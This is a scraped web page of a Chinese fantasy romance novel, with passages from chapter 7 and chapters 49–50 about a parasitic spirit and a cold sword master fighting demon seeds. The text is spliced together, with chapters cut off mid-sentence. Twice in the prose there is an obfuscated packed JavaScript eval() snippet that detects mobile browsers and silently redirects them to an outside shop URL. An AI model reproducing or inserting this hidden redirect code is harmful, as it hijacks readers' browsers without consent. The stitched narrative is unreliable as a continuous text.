初茵:“郁九如!你到底要如何!既然你这么讨厌合欢宗,为什么不把他们赶出去?” “服完刑自然会放他们离开。” “他们不过是想看自己师兄妹的尸体,这也算是犯错?” “利用蛊惑本宗的弟子,确是有错。” 蛊惑?看来她猜得没错,说不定昆仑的宗规里就有一条不准接近合欢宗弟子。 郁九如转身看了一眼离开的人,平静道:“结束魔种之灾只有一个办法,那就是源蛊死亡。” 初茵咬牙:“可以!你和我一起死。” 郁九如没有说话。 他回去之后便盘腿打坐,初茵感受到他周身的灵气再次运转起来。 只是这灵气运行的极为滞涩,可见他维持这个状态很勉强。 趁着他虚弱,初茵一头扎进他丹田的位置,狠狠吸收了一大口灵力,之前的疲乏感也消失了。 此刻她体会到了魔修的快感。 不需要自己修炼,直接吸收别人的灵力为自己所用,这简直不要太爽。 片刻之后,她被一个力道弹开。 转了几圈,她突然有了主意,“郁九如,你说我是源蛊,总要拿出证据。” 郁九如睁开眼。 他的脸色白得像是一张纸,唯有一双眸子严苛锐利。 “证据?郁氏血脉能克制魔种,你能寄生在我身上,就是最好的证据。” 初茵:“那也不一定,说不定我只是一个孤魂野鬼。” 郁九如:“魔人有魂魄吗?” 初茵沉默了。 被魔种寄生后的修士,魂魄不能离体,若想超度,必须以业火焚之。 她的确是染上了魔种,所以之后才会意识不清。 “那你为什么认定我是源蛊,说不定,我只是一个运气好一点的魔种。” 郁九如语带讥讽,“运气好的魔种,只有一种,就是被选中的源蛊,否则你以为魔种出现的目的是什么。” 初茵想到那个传闻,这么多的魔种出现,都是魔尊在挑选合适的身体。 只要找到了合适的身体,千年前的魔尊就能重生归来。 初茵犹豫道:“所以,这些魔种选中了我,觉得在我身上可以复活魔尊。” 郁九如道:“是。” “魔尊,应该是男的吧?” “与男女无关,只要选定了人,血肉之躯会重塑。” “那它挑选人的标准是什么?” “没人知道。” 郁氏祖上是为魔尊效力的蛊师,他们制出了不死之蛊,为魔尊打造了通往永生的钥匙。 郁九如的话应该很可信,可初茵还是不愿意相信。 她死的已经够惨了,现在还被告知是个人人得而诛之的大魔头。 “凭什么你说是就是?你们昆仑的人有一句真话吗?” 她宁愿相信自己是一只孤魂野鬼。 郁九如淡淡道:“你信或不信都无所谓。” 最后的结果都是一样,他也没兴趣征求一个必死之人的意见。 郁九如重新闭上眼,开始了调息。 灵脉的流动断断续续,初茵冷眼看着,想等着他撑不过去。 如果有机会再接管他的身体,她绝不会再轻易睡着! 不对!她连眼都不会闭上。 眼下,郁九如显然也在防备着自己,所以才死撑着自己的身体,不肯轻易休憩。 这种感觉,有些像是在熬鹰。 等了很久,她忍不住道:“君上!我看你灵脉运转不动了,不如休息一会。” 郁九如没有回应。 “小睡一会也没什么,我也是为了我们的身体担忧。” 她滑动着“身体”,来到他灵府的位置,指了指他丹田处的那些红色丝状物质。 “郁九如,你修炼了什么南疆邪门功夫吗?这些东西是什么,真恶心。” 之前她掌控郁九如身体的时候就发现了这些东西,不过那时候只是丝丝缕缕,现在却又多又密集。 “你不用在我这里白费功夫,好好考虑我说的事。” 初茵无所谓道:“源蛊的事情吗?若死我一人,能救天下人,我当然同意。” 郁九如缓缓开口:“当真?” 初茵:“当真,不过我还有些事情没有完成,需要借你的身体用用。” “绝无可能。” 初茵冷笑,“这么多年过去了,你们昆仑的作风还是这么一以贯之。” “若你能解决魔种之灾,这是无上的功德。” 初茵最看不惯的就是他这幅傲慢的姿态,她冷笑道:“你们当时也是这么骗我爹的?” “让我爹去找魔尸,最后让他死无丧生之地,被世人唾骂,这也是无上功德?” 从初茵记事起,初怀逸就在找上古魔尸的踪迹。 最后,他挖出魔尸的碎块,释放出了无数的魔种,被众人唾弃追杀。 她曾经像是很多人一样,觉得他的父亲是一个疯子,只顾着自己的想法,丝毫不顾及他人。 但后来她发现自己错了,初怀逸的真实身份是昆仑的弟子,而他之所以去找魔尸,也不是为了自己的好奇心,而是在帮昆仑找线索。 他隐姓埋名,为除魔大计而奔波,可到了最后,却被昆仑一脚踢开。 甚至初茵的婚姻都要等成年之后才公诸于世,免得有人将魔尸事件和昆仑联系起来。 初怀逸不是一个 7. 吐血 《寄生阴郁剑君后》全本免费阅读 什么? 初茵和卫翎同时精神一振。 “我今日见到了那个女修,所谓怀子,不过是骗你的谎话。” 修炼到了一定的程度,便能很轻易地分辨出细微的差距,两人之间的差距越大,越容易看穿真相。 修士怀子本就不易,那个女修根基浅薄到一眼就能看穿,她绝不可能有孩子。 初茵胸口像是放下一块大石头,庆幸道:“郁九如,你说的是真的吗?” “不可能。”与之相对,卫翎愣在当场,“瑶瑶不会骗我的。” 郁九如陡然提高声音,道:“那是本君骗了你。” “不!我不是这个意思。” 卫翎看起来手足无措,他像是接受不了这个现实,矛盾和纠结简直爬满了他的脸。 “师尊,我只是想不明白,她为什么骗我。” 郁九如缓缓闭上眼,像是隐忍着什么,片刻后又睁开眼,“她是为了利用你,若不是有你担保,他们能进昆仑?” 他虽没有事无巨细地过问宗门,却并不代表他不知道发生了什么。 卫翎垂下头,“她们是初茵姑娘的同门,所以我才会帮忙。” 郁九如语气冷淡:“你想清楚就好,她对你欺瞒利用,去和她断了联系。” “是。”卫翎起身,动作迟缓。 初茵把这一切都看在眼里,她也不反对这样的处理,钟师妹之前和自己抱怨被人纠缠。 既然没有孩子的事情,那两人还是断了更好。 “郁九如,别这么生气啊!” 现在的初茵有些幸灾乐祸,她发现郁九如体内灵力的运转很快,很明显被气得不轻。 “有你这样什么都管的师尊,简直是他的福气。” 初茵其实不太能理解他的愤怒。 她即便觉得这人配不上自己师妹,但钟瑶若是坚持的话,她也不会再说什么。 但郁九如不一样,他的徒弟就一定要按他的喜恶? 思来想去,也不过是他的控制欲罢了。 “师尊!”卫翎已经走到了门口,突然像是想到了什么,又小跑着走回来。 郁九如强压着怒意,问:“怎么了!” “我突然想起,钟瑶并没有利用我,是我看到她在宗门外,自己提出带他们进来的。” 初茵笑得肆无忌惮:“哈哈哈哈哈哈。” 郁九如脸色骤然变得惨白,他死死盯着卫翎,接着,他的嘴角缓缓溢出了一缕血。 “师尊……” “滚出去!” 他的语气森寒,脸色阴沉得可怕。 卫翎不知道发生了什么,但他向来不敢违抗郁九如的命令,当即连头也不敢抬,转身离开。 “师尊吐血了。” 昆延听到卫翎说的话,忙跑进殿内。 大殿之上,君上缓缓从地上起身,嘴角还带着一抹鲜红的血迹。 昆延毛骨悚然,“君上,您、您还好吗?” 青年抹去嘴角的血,微微一笑,“我很好。” 昆延困惑道:“可刚才卫翎说……” 君上打断他的话,“他很好,去告诉他,把合欢宗两人放了,好好安置在昆仑。” 昆延瞪大眼,“是让卫翎师弟去吗?” “是,他会办好。” 初茵从没有想过,胜利会来得如此容易。 她只身来到镜子前,看着镜子中的青年,露出一个诡异的笑。 “郁九如,身为修道之人,你的气量未免也太小了。” 没有得到回应,不知道他是真的昏迷过去了,还是没有听到。 时间有限,她要赶快行动。 首先就是自己现在的状态,郁九如说她是源蛊,她可不会轻易相信。 这么多年了,这种东西只存在于传闻之中,没人知道是什么。 初茵去了一趟昆仑的藏书阁,想要找找线索。 “君上,您想看什么书,我帮您找。” 昆延很担心,他这样的身体,竟然还要坚持外出。 “放心,我好的很。” 藏书阁是一整座掏空的山峰,等级越高,能看的东西越多。 所幸郁九如就是最高的等级,初茵直接奔着最高层而去。 但让她失望的是,这里涉及源蛊的事情并不多,都是一些极早之前的记录,最近这几百年,昆仑没人去研究这个。 这实在是奇怪,虽然源蛊难找,但这毕竟是终结灾难的唯一方法,昆仑竟然没人研究。 最后,她在一本记录门派历史的卷宗里找到了原因。 当年仅剩的七宗十三派被逼到昆仑,魔人遇寒则会行动缓慢,借助这里的天气,他们与魔人大军抗衡,在最后一战中,南疆的郁氏一族前来支援。 郁氏一族以消灭源蛊的方法为条件,换得了昆仑的庇护,并且这个秘密只在家族继承人之间相传。 也就是说,这里是找不到记录的。 “不必找了,你就是那只源蛊。”郁九如突然开口。 初茵道:“怎么,你缓过气了。” 昆延看出她的打算,问道:“君上是要找魔蛊的记录吗?” 初茵点点头,“对,是所有的记录都在这?” “只剩下这些了。”昆延微不可查地叹了一口气,“祭司叛变时,毁了很多记录,剩下的全都在这里了。” 祭司叛变? 初茵似乎听过这个传闻,说原本昆仑还有一位祭司,负责辅助每一任的郁氏族人。 后来的某一天,那位祭祀勾结了南疆蛊师,几乎屠尽了郁氏族人。 那位大祭司,似乎是姓昆。 她不动声色地看了一眼昆延,道:“走吧。” * 既然找不到人,初茵便只能回去。 “君上,你看,那是不是卫翎?他怎么在流云峰?” 流云峰上,远远能看到卫翎带着一行人似乎在搬什么东西。 初茵看到他就觉得有些好笑,“郁九如,我去看看你的好徒弟如何?” 郁九如像是没听到一般。 见二人降落在流云峰,卫翎忙乐颠颠地跑过来,一副喜上眉梢的表情,“师尊,你怎么在这里?” 初茵打量他一眼,“这话我应该问你。” 他摸摸头,羞赧道:“瑶瑶和他师兄住在这里,我怕他们有不习惯的地方,来问问他们缺点什么?” 初茵无语,觉得他可能是缺心眼。 这里距离重雪峰这么近,把他们安排在这个地方,那不就是在郁九如的眼皮子底下搞事。 卫翎偷偷瞟了一眼师尊,见他神情莫测,以为自己的安排惹得他不高兴了。 “我把她放在这里,希望您有一天能接受她,她真的是一个很好的女孩子。” 现在初茵真的确定了,他就是缺脑子。 看不惯还往身前凑,这是什么炸裂操作? 算了,他开心就好。 初茵想到郁九如提防合欢宗像是防贼,没想到自己的徒弟竟然着了道,顿时觉得十分可笑。 “我觉得你不必担心卫翎,他脑子有问题,我师妹看不上他的。” 钟瑶虽然平时看起来十分安静,整日捧着话本,但她向来很有主见。初茵觉得她看不上这个人。 郁九如冷冷道:“看来,你承认她在利用卫翎?” “看来,你是承认你徒弟很笨?” “你们合欢宗整日修行的便是这些东西。” 初茵心中冷笑,这很符合外界对合欢宗的猜想,不过她懒得解释,“你们昆仑的弟子,修行前都要扔掉脑子?” “邪魔歪道。” “榆木脑袋。” 初茵一句不让,和郁九如斗嘴,突然,她看到了从院里出来的钟瑶和岑楼。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12864232|130071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数量虽然少,但也勉强能看得过去。 回去之后,她发现初茵那一队竟然还没有回来。 “初姑娘不是一直都回来得很早?” “天都快黑了,他们怎么还没回来?” “应该是在打着灯笼找蛊虫。” …… 周围人的奚落一字不落地落在了她的耳中,她嘴角勾了勾,当没有听见离开了。 天黑之后,初茵他们的队伍回来了。 同时,也带回来一个可怕的消息。 “四千七百只,还没有数完!小姐,所有人都围过去看了!他们怎么可能找到这么多?” 婢女小柔惊慌失措闯进房间,说起话来也是语无伦次。 “你说什么?什么四千七百?” “是蛊虫!好多蛊虫!小姐!” 听到婢女的话,她什么也顾不得,踉跄着便跑出了房间。 果然如她所说,所有人都围在殿门前,一袋又一袋的蛊虫尸体堆积如小山。 魔气浓郁,已然来不及细数,只能过秤之后,立刻被扔进焚化炉。 称重的弟子放下最后一袋蛊虫,道:“大约七千只。” 七千只? 这个数字瞬间击垮了她。 短短一个下午的时间,超过了她们这些日子所有的数量的累加。 不可能!她怎么可能做得到! 叶挽棠死死盯着她,想要从她的脸上发现蛛丝马迹。 灯火下,初茵笑容坦然大方,仿佛只是说一件再自然不过的事情。 “多亏了苏首座在,一切才能这么顺利。你们说的蛊潮,应该就是这种所有蛊虫聚集在一起。” “虽然不知道为什么,但它们都没有了行动能力,正是抓它们的好时机。” 一开始,初茵也以为会很麻烦,但事实上,一切都很顺利。 最坏的情况没有发生,蛊虫没有暴起攻击,每一只都软弱无力,轻易便能被她控制。 苏溪也很开心,“哈哈!还是初姑娘厉害,我不过是帮了一点小忙。” “这种情况下,我看过不了两日,大家就能回昆仑了!” 业火焰燃烧蛊虫的尸体,发出清晰可闻的“噼啪”声,突然间,人群爆发出巨大的欢呼。 叶挽棠被一拥而上的人群挤过去,险些摔到了地上,多亏了小柔眼疾手快扶住了她。 “小姐,我们回去吧!” 初茵被拥过来的人群高高举起,抛在半空中,落下,又被重新抛起得更高。 她从一开始的无所适从,到后来的开怀大笑。 她感受到那些弟子发自内心的巨大喜悦,毫无疑问,他们是真心的感谢自己,甚至忘记了昆仑的那些条条框框。 她突然想起郁九如之前警告自己的话,“今日他们能将你高高捧起,明日也能将你重重摔下。” 她转过头,看到了人群之外的郁九如,他站在阴影里,正看向自己的方向。 初茵看不清楚他的神色,但想来,是不屑吧? 毕竟在他看来,自己无论做什么都是沽名钓誉。 她肆意地大笑,张开嘴,对他无声地说了几个字。 “你输了。” 49. 功利 苏溪:“你觉得今日发生了什么?” 以前,他遇到过这种情况,魔种突然大面积陨落,那时候他们都以为魔种之灾要结束了。 但事实上,那是因为源蛊选定了继承人,其它的魔种受到感应后,便自行凋落。 郁九如冷静道:“和之前的情况没有不同,源蛊已经认主。” 虽然早知如此,但苏溪还是叹了一口气,“还好她就在我们身边,若是像之前一样,恐怕我们找到她的时候,她已经变成另一个人了。” 在漫长地抗争魔种的历史里,偶有魔种选定继承人这样的情况。 没有人知道挑选的条件是什么,不过一旦出现大批魔种凋落,那就意味着魔尊的复生要开始了。 * 今日,初茵的任务就是带着大批弟子,一处处的捣毁蛊虫的聚集地点。 对她来说,这是一个很轻松的活。 她只要指出地点,就等着其他弟子布阵设网,然后定点捕捉。 唯一难的是,这些蛊虫的数量实在是太多了,她共指出了七处大的聚集点,和三处小的聚集点,但无奈他们的行动速度太慢。 整个驻地的弟子都倾巢而出,但目前还是缺人。 初茵看一群人忙活,觉得有些无聊,便在人群里四处观察。 卫翎也来帮忙了,钟瑶跟在他旁边,他的那些同门似乎已经接纳了她,开口闭口都是“仙子”,十分尊敬。 初茵觉得十分欣慰。 无论是真是假,灵韵仙子这个名头确实比想象中的有分量。 “苏首座,位置都指出来了,没什么事我就先回去了。” 苏溪也是忙得不可开交,他还是头一次碰到这样的情况,依照目前的进度,想要彻底清除这些蛊虫保守估计也得三日。 “我派人送你回去。” 初茵摆摆手,“不用,人本来就不够用,我知道怎么走。” 苏溪看着她,欣慰道:“这次,你是首功,你们先别急着走,临行之前,我要好好设宴款待。” 同样是主事人,苏溪就是一个很会说话的人,不像是郁九如,整天一副欠他的模样。 初茵笑道:“行!那我可等着了。” “不过还要麻烦你个事,你身后的……这几个弟子就留下来,人手不够,一起帮帮忙吧。” 初茵看了一眼跟着自己身后的“彩虹军团”,大手一挥,道:“这里缺人,你们留下来。” 那几人也只能苦着一张脸点头同意。 初茵挤出人群,很快远离了队伍的聚集区,没走多远,身后突然传来一阵骚动。 “怎么回事?” 初茵转过头,刚好看到远处苏溪御剑站在半空之中。 顺着他的方向,她看到了远处密密麻麻的小黑点。 那些是……噬魂蛊? “快散开!” 突然,前方传来一声惊呼,初茵尚不知道发生了什么,就看到迎面而来的队伍。 她紧紧抱住身边的一棵树,抬起头,看到了铺天盖地的噬魂蛊。 密密麻麻的蛊虫几乎遮天蔽日。 面对这样的情况,就算是郁九如也毫无办法。昆仑的阵法无法护住所有人,所以当下最要紧的是离开这一片区域。 初茵其实是无所谓的,这些噬魂蛊不会攻击她,所以她只要确保自己能站稳就行。 她原本就打算在这里坚持到结束,可突然间,她在人群里看到一个熟悉的身影。 钟瑶? 她怎么一个人? 当下,她也顾不得什么,立刻就跟了上去。 随着周围噬魂蛊减少,周围弟子的速度也停下来,甚至有的弟子已经开始结阵反攻。 不过钟瑶似乎还没有停下脚步的意思,她似乎是在跟一个人,那人跑得很快,只能看到一个模糊的背影。 走出林子之后,一晃眼,初茵发现自己跟丢了人。 她环顾四周,发现不远处有一个山洞。 果然,她刚靠近,就听到里面两人的声音。 “你是不是被噬魂蛊寄生了?你让我看看?” “你别靠近我。” 一个是钟瑶,另一个声音是……卫翎? “为什么你总是这样?之前染了魔种不愿意告诉我,现在还是躲着我,你也觉得合欢宗弟子生性凉薄?” 卫翎缓缓转过身,他耷拉着眉眼,“没有,你别多想,我就是觉得自己太没用。我想救你是我自己的事,与你也不相干,你不用觉得亏欠我。” 钟瑶看着他,突然开口道:“你怎么这么没脑子,我才不会因为觉得亏欠喜欢一个人。” 卫翎猛然抬起眼,脸上是毫不掩饰地震惊,他从没想过能听到这样的回答。 她对于两人之间的感情一直都很被动,他虽然不相信师父说的话,但面对她的态度,偶尔心中也会怀疑。 很快,他又想起自己现在的处境。 她莫不是知道自己命不久矣,所以在可怜自己? 躁动的心瞬间像是被冰水浇灭。 “我没办法和你在一起。”他从没想过,真的听到这句梦寐以求的话时,自己会是这样的回答。 “我已经被噬魂蛊寄生,师尊现在也没法救我了。而你不一样,你还有未来,不应该被我所困。” “你不用觉得心怀愧疚,换做任何一个人,我都会这么做。” 说完这些话,他便转身离开。 初茵听到越来越近的脚步声,忙不迭想找一个地方藏起来,但附近什么遮挡物都没有。 刚走至拐角处,洞内突然传来一声尖叫。 卫翎来不及想,转身冲回洞内。 进去之后却发现钟瑶还在原地,安然无恙。 她微微偏头,盯着他,“你真的对谁都是这样在意?” 卫翎耳根泛着红,脸上出现一丝羞恼,“你这是在做什么?!” 说罢,他转身就走。 行至半程,他的身体猛然僵立在原地。 钟瑶从后面紧紧抱住他,轻声道:“阿翎,我已经失去过你一次了,这一次我不想再后悔了。” 卫翎眼睛发红,沉默良久,终于抬起手,缓缓回握住她的手。 “瑶瑶……” 初茵撇撇嘴,一边听着两人酸溜溜的告白,一边给自己找到了一处藏身的草垛。 很快,洞内传来了钟瑶的惊呼。 “你怎么了!阿翎,你醒醒!” 初茵揉了揉鼻子,暗想,还能是怎么了,当然是魔种的毒性发作了,第一次发作很难熬,甚至有人直接就神志不清。 钟瑶急匆匆跑出洞穴,应该是想找人来帮忙。 初茵看她离开之后,想了想,猫着腰小心翼翼钻进洞内。 片刻之后,她离开洞穴,脚步有些踉跄,不过好在她耽误的时间并不长,所以并没有撞上来营救的弟子。 她进入林中,找到一棵粗壮的大树,倚着它缓缓坐下。 这里对那些修士来说很危险,对于她却没有威胁,噬魔蛊不会主动攻击自己,除非自己主动招惹它们。 就像现在,初茵的感觉很不妙。 噬魂蛊携带的魔种十分奇怪,它们像是带有毒性,让人忽冷忽热,甚至有些恶心。 “我是不是警告过你,不要妄想当救世主。” 她缓缓仰起头,看到站在枝头一袭黑衣的郁九如。 初茵偏了偏头,一缕发丝从额角划过,让她疲惫的眸子多了几分灵动。 他站得很高,她不太能看清他的脸,但直觉,他应该是在皱眉。 “你怎么在这?” 郁九如脚尖一点,自枝头悠然而落,“我看到你了。” 初茵没明白他的意思,这是说他看到自己刚才救了卫翎吗? 她理所应当地对他伸出手,“我刚才又救了你的蠢徒弟,你既然发现了就该早点出现。” 救了人,她当然不会放过表功的机会。 “多管闲事。”郁九如垂下眼睫,漆眸深不见底。 手腕被握住的瞬间,体内涌入了大量的灵力,头晕目眩的感觉登时消失了大半。 她原本是失力,想要让他拉自己一把,但没想到他今日竟然如此大方。 “什么叫做多管闲事,那可是你徒弟的命。还是说,你真打算将他逐出宗门了。” “未尝不可。” 对于他这种一定要棒打鸳鸯的行为心态,初茵已经见怪不怪了。 灵力缓缓进入身体,郁九如捏着她的手腕,神色沉寂。他垂着浓黑的长睫,透过树枝的斑驳阳光洒在他苍白的脸上。 见他这么体贴,初茵还有一些不习惯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12881160|130071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她刚想要抽回手,但却被牢牢攥住了手腕。 “你受伤了,我现在自己修练也还行,不用你帮我。” 郁九如撩起眼皮,不轻不重地看了她一眼,低沉道:“别乱动,不差你这点。” 好大的口气,初茵在心中默默翻了个白眼。之前在昆仑时,他对自己锱铢必较,现在却突然这么大方。 想来是自己替昆仑干了不少事,又救了卫翎,所以他才肯出力。 片刻后,郁九如用力将她拉起身,放开了握住她的手腕, 初茵揉了揉自己的腕子,低头看了一眼,扯下袖子盖住了发红的一圈指印。 “你回去吧。”他平静道,长袖下的手维持着僵硬的半握状。 初茵没说什么,拍怕衣服就想离开,突然她想起来,问道:“你不回去?” “我还有些事需要核实。” “是噬魂蛊的事?” 郁九如单手背后,侧过身,一副上位者的姿态,“这不是你该操心的事。” 初茵不吃他这一套,“噬魂蛊的事我一定要管。” 她之所以会来驻地,就是为了追踪灵脉的事。虞州境内突然出现这么多数量的噬魂蛊,说明那人可能就在附近。 郁九如沉默片刻,答道:“不是。” “不是?这里就是魔渊,如果不是噬魂蛊,那还有什么需要你核实?” 见他不说话,初茵突然觉得有些好笑,她怀疑郁九如并不擅长撒谎,否则不会被人一问,就说不出后话。 “有人在吗?” “救命!” 两人沉默走了一段路,突然听到求救声。 远处,叶挽棠一个人被十来只噬魂蛊围绕,挥舞着长剑,左支右拙。 她看起来十分狼狈,腿似乎是受伤了,处于一种无法逃脱的艰难境地。 随着郁九如加入战局,形势很快扭转,蛊虫的尸体一只只落在地上。 他抬起剑,最后一只噬魂蛊落在了剑尖,被剑气所缚。 叶挽棠神色仓皇,她扶着树干,裙裳氤出一片血迹。 “君上,我和他们走散了。” 郁九如并没有看她,只看了一眼剑上的那只蛊虫,“你先在这休息,他们很快就会找过来。” 叶挽棠张了张嘴,似乎想说什么,最后却白着脸点头,“好。” 剑尖上的噬魂蛊被放出,它扑棱着翅膀,晃晃悠悠飞到了半空。 郁九如跟了上去。 初茵看了一眼叶挽棠,也抬脚追上去。 初茵边走边道:“你竟然留她一个人在这里,你不觉得自己太狠心了?” 郁九如:“不觉得。” “是不是她一旦没有你想象中有用了,你就抛弃她了。之前她是灵韵仙子的时候,你对她可不是这副态度。” 初茵倒不是为叶挽棠打抱不平,她只是有些看不惯这样功利的做法。 “她不是。” 初茵嗤笑,“就算她是又能怎样,你不照样是利用完之后,就把人一脚踢开了吗?” 更何况初茵也是见识过他前后的态度差异,叶挽棠刚帮昆仑弟子涤魔的时候,他也是百依百顺。 看来自己的想法是正确的,昆仑教出的都是这样的人,凡事以自己的利益为先,若是没有用了,那便一脚踢开。 当年对她爹是这样,现在对叶挽棠也是这样,至于以后,想必对自己也是一样。 郁九如停下脚步,敛眉盯着她,目光落在她眸底,道:“叶氏豢养噬魂蛊的事情你应该知道了,眼下,你是真在为她鸣不平?” 初茵不想看起来像是无理取闹,她移开视线,看向远方,“我是在为自己打抱不平。” 沉默半晌后,郁九如停下脚步,开口,“你想要什么?” “什么?” 初茵没有料到他会突然这么说,几乎是惊愕地看向他。 难道他还有良心发现的时候? “你想要什么?说出来,我会尽量满足你。” 郁九如眉骨高,五官深邃,此时一言不发地盯着她,双眸幽邃,带着股萧森的肃穆感,让她倍感压力。 一瞬间,初茵脑子里混乱不堪,竟然不知道提什么要求更好。 “你说得对,我对你确有亏欠,而且,我也有很多顾及不到的地方,所以,你想要什么?” 50. 是她 噬魂蛊被控制着,慢悠悠在前面飞。 初茵跟在郁九如身后,认真地在想自己应该提什么条件。 噬魂蛊在受伤之后,就会靠近蛊虫聚集的地方,现在这只蛊虫就是遵循本能。 不过很快,她就觉得有些不对劲了。 一路走过来,都太干净了,无论蛊虫还是弟子,什么都看不到。而且,一种不舒服的窒息感开始出现。 “你有没有觉得这里有点不对劲?” 郁九如停下脚步,“你若是觉得不舒服,便回去吧。” “我不回去。” 她有好几次都想扭头离开,可看着郁九如不停顿的步伐,还是咬咬牙跟了上去。 突然,那只噬魂蛊降低了高度,落在了腐叶堆积的地面上。 “它是没力气了吗?” 初茵刚想上去看看,却突然被拽住手臂。 “别动。” 初茵奇怪地看了他一眼,却发现他身体僵硬,整个人进入高度紧张的状态。 她再次看向地面,发现那只噬魂蛊没有死,而是活动着躯体,撅着屁股,像是想要钻进草地里。 就在她回忆噬魂蛊的特性时,一根鲜红的细触角突然钻出地面,卷起那只蛊虫,倏地消失。 “什么东西!” 如果不是眼前的地面上什么都没有了,她一定会以为自己出现了幻觉。 “危险。” 初茵身子一轻,被郁九如拉着向后飞跃了几步,堪堪停下。 面前的地面突然塌陷,露出一个巨大的黑洞,无数的噬魂蛊密密麻麻爬出来,很快,又被丝状的细长触手裹挟住,挤压成黏糊糊的一团。 这场景实在恶心又震撼,初茵忍不住皱起眉头。 郁九如看了她一眼,平静道:“你现在往回跑,叫苏溪过来帮忙。” “那你呢?” “这里需要人。” 那些噬魂蛊源源不绝从地底爬出,六足狂动,却无法再向前一步。 洞内蜷缩着一团恶心的猩红,细长的触手扭在一起,贪婪地扒拢着周围的一切活物。 初茵突然觉得这团东西有些眼熟,她似乎是在哪里见到过,但此刻着急,却一点也想不起来。 不过眼下,那些东西还没有攻击他们的意思,它像是一团巨大的血团,只想把所有的东西都缠在一起。 初茵看了一眼,脑中一片眩晕,她移开视线,“你和我一起离开吧,这东西有些邪性,你一个人怕是对付不来。” “我一个人足够了。”郁九如面无表情,说罢,他唤出幽泉剑,“待会动起手,你只会是拖累。” 初茵心中恼火,觉得他说话真是惹人生气。她狠狠看向他,却见他身形挺拔,神色冷漠,像一块散发着生人勿近的大冰块。 走就走! 初茵转身便离开这里,这里四下空旷,一个人影都没有,此刻就是小跑着回去,再叫人过来也得要一段时间。 她走了一段距离,突然觉得有些不对劲。 自己已经走了这样长的一段距离,为什么还没有听到身后动手的声音,而且,他们刚才距离那东西这么近,他竟然一点也不担心? 如果真这么危险,又为什么站这么近? 初茵转过身,快步走回去,不出所料,他连姿势都没有动,丝毫不见要动手的意思。 郁九如见她又回来了,侧过头,语气有些不耐,“你是听不懂话?” 被他这么说,初茵却没有生气,而是紧紧盯着他,视线从他的脸上,移到了他的脚下。 虽然他一向是摆着个臭脸,但却也从来没有这样色厉内荏地对待过自己。 下一瞬,她伸出手,一把拽住他的袍服。 看到他腿上密密麻麻的红色,初茵倒抽了一口气,不自觉后退了两步。 “你!” “是魔尸。”见她看到了,郁九如索性也不再装了,他收剑,主动解释道,“沾上了便走不掉。” 刚才虽然只是匆匆瞥了一眼,但她看到那些东西已经攀上了他的半条腿,想必从刚进入这里时,他便中招了。 想到他分明是强弩之末,却还在骗自己,初茵有点生气,“你为什么要骗我?” 不但是骗他,甚至于对她恶语相向?这东西虽然恶心,但对她却没有威胁,她在这里说不定还能帮他。 “自然是因为你在这里帮不上忙。” 一道略有些耳熟的声音从身后传来,初茵回过头,看到了一张熟悉的脸。 “符布?” 或者说,他不是符布,只是和符布用了同一张脸。他脸上扯着完全陌生的笑容弧度,就连走路的姿态都像是换了一个人。 “他是坞篷的篷主。”郁九如头也没回地解释了一句。 他表情没有多少惊讶,只是淡淡道:“弄出这么多东西,你终于肯出来了。” 符布站在原地,脸上带着和善的笑容,“见你,自然是要做好万全的准备。如何,现在你的手臂还能动吗?” 郁九如脸上浮现讥讽的笑意,他侧过头,“来试试不就知道了?” 他的发带被风扬起,整个人的状态十分自然,仿佛只是在这站了一会,丝毫看不出他腿已经被牢牢捆住。 初茵离他很近,此刻,她已经感受到了他周身散发出凌厉的剑意。 符布紧紧盯着他,像是在观察,又像是在思考些什么。 末了,他笑了笑,“那我就试试吧。” 说着,他长袖一挥,半空中突然出现几只通体赤红的虫子,它们速度极快,瞬间便到了两人眼前。 只不过,它们的目的似乎不是郁九如,而是齐齐扑向了初茵。 在初茵意识到不妙的时候,这几只虫子已经近在咫尺。 一道清寒的剑气掠过鼻端,它们齐齐被削了半个身子,簌簌落地。 初茵甚至还没看清楚发生了什么,一切就已经结束了。 她抬头,对上郁九如面无表情的脸。 “符布”的脸色极为难看,为了今日这一切,他特地做了许多准备,可现在郁九如表现出来的状态和他掌握的消息并不一致。 既受了伤,又痋毒发作,此刻的郁九如应该是一步也动不了。 他疑心极重,此刻见事情不符合自己的预期,便觉得可能是中了计,更不敢向前。 “符布”冷笑一声,又向后退了几步,“看来郁剑君比我想象的能撑,那我就等着,看是你撑的久,还是魔尸撑的久。” 他缓缓后退,很快,身影消失在密林之中。 初茵盯着他离开的方向,看了好一会,才开口问:“他……不是符布吧?” 刚才短暂的接触给了她极陌生的感觉。 郁九如道:“你之前见到的符布,不过是一个行走的容器,蛊师会在不知不觉中,将一个人变成容器。一旦被附身,真正的符布便死了。” 死了? 初茵无法想象世上还有这样的事情,即便是冤魂上身,也没有那么容易就害死原身。 地面的塌陷范围越来越大,初茵盯着中间一团蠕动的红色触手,只觉得头晕目眩。 “小心!” 脚下突然一松,失重的感觉传来,她还没有来得及反应,就跌到坑中。 郁九如也和她一样跌落进了坑里,他玄黑的衣袍铺散在地上,淡金色的纹绣上沾了泥泞,失去了往日的华贵与庄重。 透过卷起的衣角,初茵看到他大腿以下被密密的红色触丝缠绕。 “这些是什么东西?”这是她第二次问这个问题。 此刻,郁九如的脸色苍白,像是枝头坠落的白海棠,美却毫无生气。 “魔尸。”他幽邃的眸子微微转动,看了她一眼后,语气平淡道。 初茵有些生气了,“我知道这是魔尸,你以为我没有看到过!” 